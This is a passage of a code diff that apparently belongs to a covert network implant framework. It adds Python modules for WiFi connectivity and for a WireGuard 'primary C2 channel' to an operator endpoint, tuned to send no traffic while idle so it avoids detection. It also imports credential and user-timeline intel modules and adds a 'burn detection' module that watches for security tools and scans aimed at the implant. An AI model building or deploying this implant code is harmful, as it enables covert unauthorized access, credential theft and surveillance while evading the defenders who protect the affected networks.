Supports WPA2-PSK and WPA2-Enterprise (PEAP/EAP-TLS). Generates
wpa_supplicant.conf from config parameters, manages the wpa_supplicant
process, and monitors connection quality.
"""
import logging
import os
import subprocess
import tempfile
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
WPA_SUPPLICANT_BIN = "/sbin/wpa_supplicant"
WPA_CLI_BIN = "/sbin/wpa_cli"
DEFAULT_INTERFACE = "wlan0"
CONNECT_TIMEOUT = 30 # seconds
class WiFiClient(BaseModule):
"""WiFi client — wpa_supplicant managed WPA2-PSK/Enterprise."""
name = "wifi_client"
module_type = "connectivity"
priority = -100
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._wpa_proc: Optional[subprocess.Popen] = None
self._interface = DEFAULT_INTERFACE
self._config_path: Optional[str] = None
self._connected = False
self._ssid: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
wifi_cfg = self.config.get("connectivity", {}).get("wifi", {})
if not wifi_cfg:
logger.error("No wifi config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._interface = wifi_cfg.get("interface", DEFAULT_INTERFACE)
ssid = wifi_cfg.get("ssid")
psk = wifi_cfg.get("psk")
if not ssid:
logger.error("WiFi SSID not configured")
self.state.set_module_status(self.name, "error")
return
# Determine auth type
eap_cfg = wifi_cfg.get("eap")
if eap_cfg:
self._config_path = self._write_enterprise_config(
ssid=ssid,
eap_method=eap_cfg.get("method", "PEAP"),
identity=eap_cfg.get("identity", ""),
password=eap_cfg.get("password", ""),
ca_cert=eap_cfg.get("ca_cert"),
client_cert=eap_cfg.get("client_cert"),
private_key=eap_cfg.get("private_key"),
phase2=eap_cfg.get("phase2", "auth=MSCHAPV2"),
)
elif psk:
self._config_path = self._write_psk_config(ssid, psk)
else:
logger.error("WiFi config has no PSK and no EAP section")
self.state.set_module_status(self.name, "error")
return
if not self.connect(ssid, psk):
logger.error("Failed to connect to WiFi network '%s'", ssid)
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._ssid = ssid
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up", "ssid": ssid},
source_module=self.name)
logger.info("WiFi connected to '%s' on %s", ssid, self._interface)
def stop(self) -> None:
if not self._running:
return
self.disconnect()
self._running = False
self._connected = False
# Cleanup config file
if self._config_path and os.path.isfile(self._config_path):
try:
os.unlink(self._config_path)
except OSError:
pass
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("WiFi client stopped")
def status(self) -> dict:
signal = self.get_signal() if self._running else None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": self._connected,
"ssid": self._ssid,
"interface": self._interface,
"signal_dbm": signal,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# WiFi operations
# ------------------------------------------------------------------
def connect(self, ssid: str, psk: str = None) -> bool:
"""Start wpa_supplicant and connect to the configured network."""
# Kill any existing wpa_supplicant on this interface
self._kill_existing_wpa()
# Bring interface up
try:
subprocess.run(
["ip", "link", "set", "up", "dev", self._interface],
check=True, capture_output=True, timeout=10,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.error("Failed to bring up %s: %s", self._interface, exc)
return False
# Start wpa_supplicant
cmd = [
WPA_SUPPLICANT_BIN,
"-i", self._interface,
"-c", self._config_path,
"-B", # background
"-D", "nl80211,wext",
"-P", f"/var/run/wpa_supplicant_{self._interface}.pid",
]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=10)
if result.returncode != 0:
logger.error("wpa_supplicant failed to start: %s", result.stderr.strip())
return False
except (subprocess.TimeoutExpired, FileNotFoundError) as exc:
logger.error("wpa_supplicant error: %s", exc)
return False
# Wait for connection
return self._wait_for_connection(timeout=CONNECT_TIMEOUT)
def disconnect(self) -> None:
"""Stop wpa_supplicant and release the interface."""
self._kill_existing_wpa()
self._connected = False
# Release DHCP lease
try:
subprocess.run(
["dhclient", "-r", self._interface],
capture_output=True, timeout=10,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
def scan(self) -> list:
"""Scan for available WiFi networks. Returns list of dicts."""
networks = []
try:
# Trigger scan
subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "scan"],
capture_output=True, timeout=10,
)
time.sleep(3.0) # Allow scan to complete
# Get results
result = subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "scan_results"],
capture_output=True, text=True, timeout=10,
)
if result.returncode == 0:
for line in result.stdout.strip().splitlines()[1:]: # Skip header
parts = line.split("\t")
if len(parts) >= 5:
networks.append({
"bssid": parts[0],
"frequency": int(parts[1]),
"signal": int(parts[2]),
"flags": parts[3],
"ssid": parts[4] if len(parts) > 4 else "",
})
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
logger.warning("WiFi scan failed: %s", exc)
# Fallback to iw if wpa_cli not available
if not networks:
networks = self._scan_iw()
return networks
def is_connected(self) -> bool:
"""Check if WiFi is associated and has an IP address."""
try:
result = subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "status"],
capture_output=True, text=True, timeout=5,
)
if result.returncode != 0:
return False
status_dict = {}
for line in result.stdout.strip().splitlines():
if "=" in line:
k, v = line.split("=", 1)
status_dict[k.strip()] = v.strip()
wpa_state = status_dict.get("wpa_state", "")
self._connected = wpa_state == "COMPLETED"
return self._connected
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def get_signal(self) -> Optional[int]:
"""Get current signal strength in dBm."""
try:
result = subprocess.run(
[WPA_CLI_BIN, "-i", self._interface, "signal_poll"],
capture_output=True, text=True, timeout=5,
)
if result.returncode == 0:
for line in result.stdout.strip().splitlines():
if line.startswith("RSSI="):
return int(line.split("=", 1)[1])
except (subprocess.TimeoutExpired, FileNotFoundError, ValueError):
pass
# Fallback to /proc/net/wireless
try:
with open("/proc/net/wireless", "r") as f:
for line in f:
if self._interface in line:
parts = line.split()
if len(parts) >= 4:
return int(float(parts[3]))
except (IOError, ValueError, IndexError):
pass
return None
# ------------------------------------------------------------------
# Config generation
# ------------------------------------------------------------------
def _write_psk_config(self, ssid: str, psk: str) -> str:
"""Write WPA2-PSK wpa_supplicant.conf."""
config = (
"ctrl_interface=/var/run/wpa_supplicant\n"
"ctrl_interface_group=0\n"
"update_config=0\n"
"ap_scan=1\n"
"\n"
"network={\n"
f' ssid="{ssid}"\n'
f' psk="{psk}"\n'
" key_mgmt=WPA-PSK\n"
" proto=RSN\n"
" pairwise=CCMP\n"
" group=CCMP\n"
"}\n"
)
return self._write_config_file(config)
def _write_enterprise_config(self, ssid: str, eap_method: str,
identity: str, password: str,
ca_cert: str = None,
client_cert: str = None,
private_key: str = None,
phase2: str = "auth=MSCHAPV2") -> str:
"""Write WPA2-Enterprise wpa_supplicant.conf (PEAP or EAP-TLS)."""
config = (
"ctrl_interface=/var/run/wpa_supplicant\n"
"ctrl_interface_group=0\n"
"update_config=0\n"
"ap_scan=1\n"
"\n"
"network={\n"
f' ssid="{ssid}"\n'
" key_mgmt=WPA-EAP\n"
f' eap={eap_method}\n'
f' identity="{identity}"\n'
)
if eap_method.upper() == "PEAP":
config += f' password="{password}"\n'
config += f' phase2="{phase2}"\n'
if ca_cert:
config += f' ca_cert="{ca_cert}"\n'
elif eap_method.upper() == "TLS":
if ca_cert:
config += f' ca_cert="{ca_cert}"\n'
if client_cert:
config += f' client_cert="{client_cert}"\n'
if private_key:
config += f' private_key="{private_key}"\n'
config += "}\n"
return self._write_config_file(config)
def _write_config_file(self, content: str) -> str:
"""Write config to tmpfs and return path."""
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
config_path = os.path.join(tmpdir, f".wpa_{self._interface}.conf")
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, content.encode())
finally:
os.close(fd)
return config_path
# ------------------------------------------------------------------
# Helpers
# ------------------------------------------------------------------
def _wait_for_connection(self, timeout: int = CONNECT_TIMEOUT) -> bool:
"""Wait for wpa_supplicant to complete association."""
deadline = time.time() + timeout
while time.time() < deadline:
if self.is_connected():
# Request DHCP lease
self._request_dhcp()
return True
time.sleep(1.0)
logger.warning("WiFi connection timed out after %ds", timeout)
return False
def _request_dhcp(self) -> None:
"""Request a DHCP lease on the WiFi interface."""
try:
subprocess.run(
["dhclient", "-1", "-nw", self._interface],
capture_output=True, timeout=15,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
logger.debug("dhclient not available, trying dhcpcd")
try:
subprocess.run(
["dhcpcd", "-1", self._interface],
capture_output=True, timeout=15,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
logger.warning("No DHCP client available for %s", self._interface)
def _kill_existing_wpa(self) -> None:
"""Kill any existing wpa_supplicant on our interface."""
pid_file = f"/var/run/wpa_supplicant_{self._interface}.pid"
if os.path.isfile(pid_file):
try:
pid = int(open(pid_file).read().strip())
os.kill(pid, 15) # SIGTERM
time.sleep(0.5)
except (ValueError, ProcessLookupError, PermissionError, IOError):
pass
# Also kill by interface match
try:
subprocess.run(
["pkill", "-f", f"wpa_supplicant.*{self._interface}"],
capture_output=True, timeout=5,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
time.sleep(0.5)
def _scan_iw(self) -> list:
"""Fallback scan using iw command."""
networks = []
try:
result = subprocess.run(
["iw", "dev", self._interface, "scan", "-u"],
capture_output=True, text=True, timeout=15,
)
if result.returncode != 0:
return networks
current = {}
for line in result.stdout.splitlines():
line = line.strip()
if line.startswith("BSS "):
if current:
networks.append(current)
bssid = line.split()[1].split("(")[0]
current = {"bssid": bssid, "ssid": "", "signal": 0, "frequency": 0}
elif line.startswith("SSID:"):
current["ssid"] = line.split(":", 1)[1].strip()
elif line.startswith("signal:"):
try:
current["signal"] = int(float(line.split(":")[1].strip().split()[0]))
except (ValueError, IndexError):
pass
elif line.startswith("freq:"):
try:
current["frequency"] = int(line.split(":")[1].strip())
except (ValueError, IndexError):
pass
if current:
networks.append(current)
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return networks
+284
View File
@@ -0,0 +1,284 @@
#!/usr/bin/env python3
"""WireGuard module — primary C2 channel.
Self-hosted WireGuard tunnel to operator endpoint. PersistentKeepalive = 0
means the tunnel generates ZERO traffic when idle — no beacons, no heartbeats,
no coordination servers. The tunnel activates instantly when the operator
sends a packet.
"""
import logging
import os
import subprocess
import tempfile
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
WG_INTERFACE = "wg0"
HEALTH_CHECK_TIMEOUT = 5 # seconds
class WireGuard(BaseModule):
"""Primary C2 — WireGuard tunnel to operator's self-hosted endpoint."""
name = "wireguard"
module_type = "connectivity"
priority = -200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._interface = WG_INTERFACE
self._config_path: Optional[str] = None
self._endpoint: Optional[str] = None
self._peer_allowed_ips: Optional[str] = None
self._connected = False
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
if not wg_cfg:
logger.error("No wireguard config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._endpoint = wg_cfg.get("endpoint")
private_key_file = wg_cfg.get("private_key_file")
peer_public_key = wg_cfg.get("peer_public_key")
self._peer_allowed_ips = wg_cfg.get("allowed_ips", "0.0.0.0/0")
listen_port = wg_cfg.get("listen_port", 51820)
address = wg_cfg.get("address", "10.0.0.2/24")
if not all([self._endpoint, private_key_file, peer_public_key]):
logger.error("wireguard config missing required fields: endpoint, "
"private_key_file, peer_public_key")
self.state.set_module_status(self.name, "error")
return
# Read private key
try:
private_key = Path(private_key_file).read_text().strip()
except (OSError, IOError) as exc:
logger.error("Cannot read WireGuard private key: %s", exc)
self.state.set_module_status(self.name, "error")
return
# Write transient WireGuard config
self._config_path = self._write_config(
private_key=private_key,
address=address,
listen_port=listen_port,
peer_public_key=peer_public_key,
endpoint=self._endpoint,
allowed_ips=self._peer_allowed_ips,
)
if not self.up():
logger.error("Failed to bring up WireGuard interface")
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._connected = True
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"endpoint": self._endpoint},
source_module=self.name)
logger.info("WireGuard tunnel up — endpoint %s", self._endpoint)
def stop(self) -> None:
if not self._running:
return
self.down()
self._running = False
self._connected = False
# Cleanup transient config
if self._config_path and os.path.isfile(self._config_path):
try:
os.unlink(self._config_path)
except OSError:
pass
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("WireGuard tunnel down")
def status(self) -> dict:
connected = self.is_connected()
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"connected": connected,
"endpoint": self._endpoint,
"interface": self._interface,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_connected()
# ------------------------------------------------------------------
# WireGuard operations
# ------------------------------------------------------------------
def up(self) -> bool:
"""Create wg interface, apply config, bring up."""
try:
# Add WireGuard interface
subprocess.run(
["ip", "link", "add", "dev", self._interface, "type", "wireguard"],
check=True, capture_output=True, timeout=10,
)
except subprocess.CalledProcessError:
# Interface may already exist — try to continue
logger.debug("Interface %s may already exist, continuing", self._interface)
try:
# Apply WireGuard config
subprocess.run(
["wg", "setconf", self._interface, self._config_path],
check=True, capture_output=True, timeout=10,
)
# Assign address from config
wg_cfg = self.config.get("connectivity", {}).get("wireguard", {})
address = wg_cfg.get("address", "10.0.0.2/24")
subprocess.run(
["ip", "addr", "add", address, "dev", self._interface],
check=True, capture_output=True, timeout=10,
)
# Bring interface up
subprocess.run(
["ip", "link", "set", "up", "dev", self._interface],
check=True, capture_output=True, timeout=10,
)
logger.info("WireGuard interface %s is up", self._interface)
return True
except subprocess.CalledProcessError as exc:
logger.error("Failed to configure WireGuard: %s", exc.stderr.decode(errors='replace'))
self._cleanup_interface()
return False
except subprocess.TimeoutExpired:
logger.error("WireGuard command timed out")
self._cleanup_interface()
return False
def down(self) -> bool:
"""Bring down and remove wg interface."""
try:
subprocess.run(
["ip", "link", "set", "down", "dev", self._interface],
capture_output=True, timeout=10,
)
subprocess.run(
["ip", "link", "del", "dev", self._interface],
capture_output=True, timeout=10,
)
logger.info("WireGuard interface %s removed", self._interface)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as exc:
logger.warning("Error tearing down WireGuard: %s", exc)
return False
def is_connected(self) -> bool:
"""Check if WireGuard tunnel is active by pinging peer through tunnel."""
if not self._running:
return False
try:
result = subprocess.run(
["wg", "show", self._interface, "latest-handshakes"],
capture_output=True, text=True, timeout=5,
)
if result.returncode != 0:
return False
# Parse latest handshake timestamp — if it's 0 or missing, no peer
for line in result.stdout.strip().splitlines():
parts = line.split()
if len(parts) >= 2:
ts = int(parts[1])
if ts > 0:
# Handshake occurred — tunnel is alive
return True
# No handshake yet is OK — PersistentKeepalive=0 means tunnel is
# dormant until operator connects. Interface being up is sufficient.
iface_check = subprocess.run(
["ip", "link", "show", self._interface],
capture_output=True, timeout=5,
)
return iface_check.returncode == 0
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, ValueError):
return False
def get_endpoint(self) -> Optional[str]:
"""Return the configured endpoint address."""
return self._endpoint
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
def _write_config(self, private_key: str, address: str, listen_port: int,
peer_public_key: str, endpoint: str,
allowed_ips: str) -> str:
"""Write a transient WireGuard config file and return its path."""
config_content = (
f"[Interface]\n"
f"PrivateKey = {private_key}\n"
f"ListenPort = {listen_port}\n"
f"\n"
f"[Peer]\n"
f"PublicKey = {peer_public_key}\n"
f"Endpoint = {endpoint}\n"
f"AllowedIPs = {allowed_ips}\n"
f"PersistentKeepalive = 0\n"
)
# Write to tmpfs if available, else /tmp
tmpdir = "/dev/shm" if os.path.isdir("/dev/shm") else tempfile.gettempdir()
config_path = os.path.join(tmpdir, f".wg_{self._interface}.conf")
fd = os.open(config_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
try:
os.write(fd, config_content.encode())
finally:
os.close(fd)
return config_path
def _cleanup_interface(self) -> None:
"""Best-effort cleanup of a partially-created interface."""
try:
subprocess.run(["ip", "link", "del", "dev", self._interface],
capture_output=True, timeout=5)
except Exception:
pass
+23
View File
@@ -0,0 +1,23 @@
"""SystemMonitor intelligence modules — on-device analysis and data aggregation."""
from modules.intel.credential_db import CredentialDB
from modules.intel.topology_mapper import TopologyMapper
from modules.intel.net_intel import NetIntel
from modules.intel.user_timeline import UserTimeline
from modules.intel.supply_chain_detect import SupplyChainDetect
from modules.intel.change_detector import ChangeDetector
from modules.intel.security_posture import SecurityPosture
from modules.intel.operator_audit import OperatorAudit
from modules.intel.tool_output_parser import ToolOutputParser
__all__ = [
"CredentialDB",
"TopologyMapper",
"NetIntel",
"UserTimeline",
"SupplyChainDetect",
"ChangeDetector",
"SecurityPosture",
"OperatorAudit",
"ToolOutputParser",
]
+607
View File
@@ -0,0 +1,607 @@
#!/usr/bin/env python3
"""Network change detection — continuous diff against baseline state.
Critical for BURN DETECTION. Alerts on new hosts, disappeared hosts,
new services, new open ports, security tool traffic, scan activity
targeting the implant subnet, and unusual auth patterns.
Publishes CHANGE_DETECTED events with severity levels.
"""
import json
import logging
import os
import sqlite3
import threading
import time
from collections import defaultdict
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
_SCHEMA = """
CREATE TABLE IF NOT EXISTS changes (
id INTEGER PRIMARY KEY AUTOINCREMENT,
timestamp REAL NOT NULL,
change_type TEXT NOT NULL,
severity TEXT NOT NULL DEFAULT 'info',
description TEXT NOT NULL,
old_value TEXT DEFAULT '',
new_value TEXT DEFAULT '',
target_ip TEXT DEFAULT '',
acknowledged INTEGER DEFAULT 0
);
CREATE INDEX IF NOT EXISTS idx_changes_ts ON changes(timestamp);
CREATE INDEX IF NOT EXISTS idx_changes_sev ON changes(severity);
CREATE INDEX IF NOT EXISTS idx_changes_type ON changes(change_type);
CREATE TABLE IF NOT EXISTS baseline_hosts (
ip TEXT PRIMARY KEY,
hostname TEXT DEFAULT '',
mac TEXT DEFAULT '',
os_family TEXT DEFAULT '',
open_ports TEXT DEFAULT '[]',
services TEXT DEFAULT '[]',
first_seen REAL NOT NULL,
last_seen REAL NOT NULL
);
CREATE TABLE IF NOT EXISTS baseline_services (
ip TEXT NOT NULL,
port INTEGER NOT NULL,
protocol TEXT DEFAULT 'tcp',
service TEXT DEFAULT '',
banner TEXT DEFAULT '',
first_seen REAL NOT NULL,
PRIMARY KEY (ip, port, protocol)
);
"""
# Change types and their default severity
_CHANGE_SEVERITY = {
"new_host": "info",
"host_disappeared": "warning",
"new_service": "info",
"new_port": "info",
"service_disappeared": "info",
"security_tool_traffic": "critical",
"scan_detected": "critical",
"unusual_auth": "warning",
"mac_change": "warning",
"os_change": "warning",
"mass_port_scan": "critical",
"arp_anomaly": "critical",
}
# Ports/services that indicate security tool deployment
_SECURITY_TOOL_PORTS = {
8088: "splunk_hec",
8089: "splunk_mgmt",
9997: "splunk_forwarder",
1514: "wazuh_agent",
1515: "wazuh_enrollment",
55000: "wazuh_api",
514: "syslog",
6514: "syslog_tls",
443: None, # too generic, needs hostname corroboration
}
# DNS patterns suggesting security tool investigation
_SECURITY_DNS_PATTERNS = (
"nessus", "qualys", "rapid7", "tenable", "crowdstrike",
"sentinelone", "carbonblack", "cybereason", "sophos",
"defender", "wireshark", "zeek", "suricata", "snort",
)
# Scan detection: many ports from a single source in short time
_SCAN_THRESHOLD_PORTS = 50 # ports in window = scan
_SCAN_THRESHOLD_WINDOW = 60.0 # seconds
class ChangeDetector(BaseModule):
"""Detect network changes against baseline — critical for burn detection."""
name = "change_detector"
module_type = "intel"
priority = 50 # Critical priority
requires_root = False
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._db_path = ""
self._conn: Optional[sqlite3.Connection] = None
self._lock = threading.Lock()
self._monitor_thread: Optional[threading.Thread] = None
self._baseline_built = False
self._change_count = 0
# Scan detection tracking: source_ip -> [(timestamp, dst_port)]
self._port_attempts: dict[str, list] = defaultdict(list)
# Our implant's IPs for self-protection monitoring
self._implant_ips: set = set()
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
base_dir = self.config.get("data_dir", os.path.expanduser("~/.implant"))
self._db_path = os.path.join(base_dir, "change_detector.db")
os.makedirs(os.path.dirname(self._db_path), exist_ok=True)
self._conn = sqlite3.connect(self._db_path, check_same_thread=False)
self._conn.execute("PRAGMA journal_mode=WAL")
self._conn.execute("PRAGMA synchronous=NORMAL")
self._conn.row_factory = sqlite3.Row
self._conn.executescript(_SCHEMA)
# Load implant IPs from config
self._implant_ips = set(self.config.get("implant_ips", []))
# Check if baseline exists
row = self._conn.execute("SELECT COUNT(*) FROM baseline_hosts").fetchone()
self._baseline_built = row[0] > 0
# Subscribe to events
self.bus.subscribe(self._on_host_discovered, "HOST_DISCOVERED")
self.bus.subscribe(self._on_credential_found, "CREDENTIAL_FOUND")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
# Monitor thread for periodic diffing
self._monitor_thread = threading.Thread(
target=self._monitor_loop, daemon=True,
name="sensor-change-detector",
)
self._monitor_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info(
"ChangeDetector started — baseline=%s, db=%s",
"loaded" if self._baseline_built else "empty", self._db_path,
)
def stop(self) -> None:
if not self._running:
return
self._running = False
self.bus.unsubscribe(self._on_host_discovered, "HOST_DISCOVERED")
self.bus.unsubscribe(self._on_credential_found, "CREDENTIAL_FOUND")
if self._conn:
self._conn.close()
self._conn = None
self.state.set_module_status(self.name, "stopped")
logger.info("ChangeDetector stopped — %d changes recorded", self._change_count)
def status(self) -> dict:
change_count = 0
critical_count = 0
if self._conn:
try:
with self._lock:
row = self._conn.execute(
"SELECT COUNT(*) FROM changes"
).fetchone()
change_count = row[0] if row else 0
row = self._conn.execute(
"SELECT COUNT(*) FROM changes WHERE severity='critical'"
).fetchone()
critical_count = row[0] if row else 0
except Exception:
pass
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"baseline_built": self._baseline_built,
"total_changes": change_count,
"critical_changes": critical_count,
}
def configure(self, config: dict) -> None:
self.config.update(config)
self._implant_ips = set(config.get("implant_ips", self._implant_ips))
# ------------------------------------------------------------------
# Baseline management
# ------------------------------------------------------------------
def build_baseline(self) -> int:
"""Snapshot current known hosts and services as the baseline.
Returns:
Number of hosts in the baseline.
"""
hosts_json = self.state.get("host_discovery", "discovered_hosts")
if not hosts_json:
logger.warning("No host discovery data available for baseline")
return 0
try:
hosts = json.loads(hosts_json)
except (json.JSONDecodeError, TypeError):
return 0
with self._lock:
# Clear existing baseline
self._conn.execute("DELETE FROM baseline_hosts")
self._conn.execute("DELETE FROM baseline_services")
now = time.time()
for host in hosts:
ip = host.get("ip", "")
if not ip:
continue
ports = host.get("open_ports", [])
services = host.get("services", [])
self._conn.execute(
"""INSERT OR REPLACE INTO baseline_hosts
(ip, hostname, mac, os_family, open_ports, services,
first_seen, last_seen)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)""",
(ip, host.get("hostname", ""), host.get("mac", ""),
host.get("os_family", ""), json.dumps(ports),
json.dumps(services), now, now),
)
for port in ports:
self._conn.execute(
"""INSERT OR REPLACE INTO baseline_services
(ip, port, protocol, service, first_seen)
VALUES (?, ?, 'tcp', '', ?)""",
(ip, port, now),
)
self._conn.commit()
self._baseline_built = True
count = len(hosts)
logger.info("Baseline built with %d hosts", count)
return count
# ------------------------------------------------------------------
# Event handlers
# ------------------------------------------------------------------
def _on_host_discovered(self, event) -> None:
"""Check a newly discovered host against baseline."""
if not self._baseline_built:
return
p = event.payload
ip = p.get("ip", "")
if not ip:
return
with self._lock:
# Check if host is in baseline
row = self._conn.execute(
"SELECT * FROM baseline_hosts WHERE ip = ?", (ip,)
).fetchone()
if not row:
# NEW HOST
self._record_change(
change_type="new_host",
description=f"New host discovered: {ip} "
f"(hostname={p.get('hostname', '')}, "
f"mac={p.get('mac', '')})",
new_value=json.dumps(p),
target_ip=ip,
)
else:
# Existing host — check for changes
baseline_mac = row["mac"]
new_mac = p.get("mac", "")
if baseline_mac and new_mac and baseline_mac != new_mac:
self._record_change(
change_type="mac_change",
description=f"MAC changed on {ip}: "
f"{baseline_mac} -> {new_mac}",
old_value=baseline_mac,
new_value=new_mac,
target_ip=ip,
severity="warning",
)
baseline_os = row["os_family"]
new_os = p.get("os_family", "")
if baseline_os and new_os and baseline_os != new_os:
self._record_change(
change_type="os_change",
description=f"OS changed on {ip}: "
f"{baseline_os} -> {new_os}",
old_value=baseline_os,
new_value=new_os,
target_ip=ip,
)
# Check for new ports
try:
baseline_ports = set(json.loads(row["open_ports"]))
except (json.JSONDecodeError, TypeError):
baseline_ports = set()
new_ports = set(p.get("open_ports", []))
added_ports = new_ports - baseline_ports
for port in added_ports:
sev = "info"
desc = f"New port {port} on {ip}"
# Check if it's a security tool port
if port in _SECURITY_TOOL_PORTS:
tool = _SECURITY_TOOL_PORTS[port]
if tool:
sev = "critical"
desc = f"SECURITY TOOL: {tool} port {port} on {ip}"
self._record_change(
change_type="new_port",
description=desc,
new_value=str(port),
target_ip=ip,
severity=sev,
)
def _on_credential_found(self, event) -> None:
"""Monitor for unusual authentication patterns."""
p = event.payload
from utils.credential_encryption import decrypt_credential_payload
p = decrypt_credential_payload(p)
# Track rapid auth failures from unknown sources as investigation indicator
if p.get("cred_type") == "auth_failure":
src = p.get("source_ip", "")
target = p.get("target_ip", "")
self._record_change(
change_type="unusual_auth",
description=f"Auth failure: {src} -> {target} "
f"(user={p.get('username', '')})",
target_ip=target,
severity="warning",
)
# ------------------------------------------------------------------
# Connection / scan monitoring
# ------------------------------------------------------------------
def ingest_connection_attempt(self, src_ip: str, dst_ip: str,
dst_port: int, timestamp: float = None) -> None:
"""Track connection attempts for scan detection.
Called by passive modules watching network traffic.
"""
ts = timestamp or time.time()
# Check for scans targeting our implant
if dst_ip in self._implant_ips:
self._record_change(
change_type="scan_detected",
description=f"Connection to implant IP {dst_ip}:{dst_port} "
f"from {src_ip}",
target_ip=dst_ip,
severity="critical",
)
# Track port scan patterns
with self._lock:
attempts = self._port_attempts[src_ip]
attempts.append((ts, dst_port))
# Prune old entries
cutoff = ts - _SCAN_THRESHOLD_WINDOW
self._port_attempts[src_ip] = [
(t, p) for t, p in attempts if t > cutoff
]
# Check for scan pattern
recent = self._port_attempts[src_ip]
unique_ports = len(set(p for _, p in recent))
if unique_ports >= _SCAN_THRESHOLD_PORTS:
self._record_change(
change_type="mass_port_scan",
description=f"Port scan from {src_ip}: "
f"{unique_ports} unique ports in "
f"{_SCAN_THRESHOLD_WINDOW}s",
target_ip=src_ip,
severity="critical",
)
# Reset to avoid flood
self._port_attempts[src_ip] = []
def ingest_dns_query(self, query_name: str, client_ip: str = "") -> None:
"""Check DNS queries for security tool investigation indicators."""
query_lower = query_name.lower()
for pattern in _SECURITY_DNS_PATTERNS:
if pattern in query_lower:
self._record_change(
change_type="security_tool_traffic",
description=f"Security tool DNS query: {query_name} "
f"from {client_ip}",
new_value=query_name,
target_ip=client_ip,
severity="critical",
)
break
# ------------------------------------------------------------------
# Monitor loop
# ------------------------------------------------------------------
def _monitor_loop(self) -> None:
"""Periodic monitoring: check for disappeared hosts, etc."""
interval = self.config.get("change_check_interval", 300)
while self._running:
time.sleep(interval)
try:
if self._baseline_built:
self._check_disappeared_hosts()
self._prune_scan_tracking()
except Exception:
logger.exception("Change detector monitor cycle failed")
def _check_disappeared_hosts(self) -> None:
"""Check if any baseline hosts have disappeared."""
# Get current known hosts from host_discovery
current_json = self.state.get("host_discovery", "discovered_hosts")
if not current_json:
return
try:
current_hosts = json.loads(current_json)
current_ips = {h.get("ip") for h in current_hosts if h.get("ip")}
except (json.JSONDecodeError, TypeError):
return
with self._lock:
baseline_rows = self._conn.execute(
"SELECT ip, hostname FROM baseline_hosts"
).fetchall()
for row in baseline_rows:
ip = row["ip"]
if ip not in current_ips:
# Check if we already recorded this disappearance recently
recent = self._conn.execute(
"""SELECT id FROM changes
WHERE change_type='host_disappeared' AND target_ip=?
AND timestamp > ?""",
(ip, time.time() - 3600),
).fetchone()
if not recent:
hostname = row["hostname"]
self._record_change(
change_type="host_disappeared",
description=f"Baseline host disappeared: {ip} "
f"({hostname})",
old_value=ip,
target_ip=ip,
)
def _prune_scan_tracking(self) -> None:
"""Remove stale scan tracking data to limit memory usage."""
cutoff = time.time() - (_SCAN_THRESHOLD_WINDOW * 2)
with self._lock:
stale = [
ip for ip, attempts in self._port_attempts.items()
if not attempts or attempts[-1][0] < cutoff
]
for ip in stale:
del self._port_attempts[ip]
# ------------------------------------------------------------------
# Change recording
# ------------------------------------------------------------------
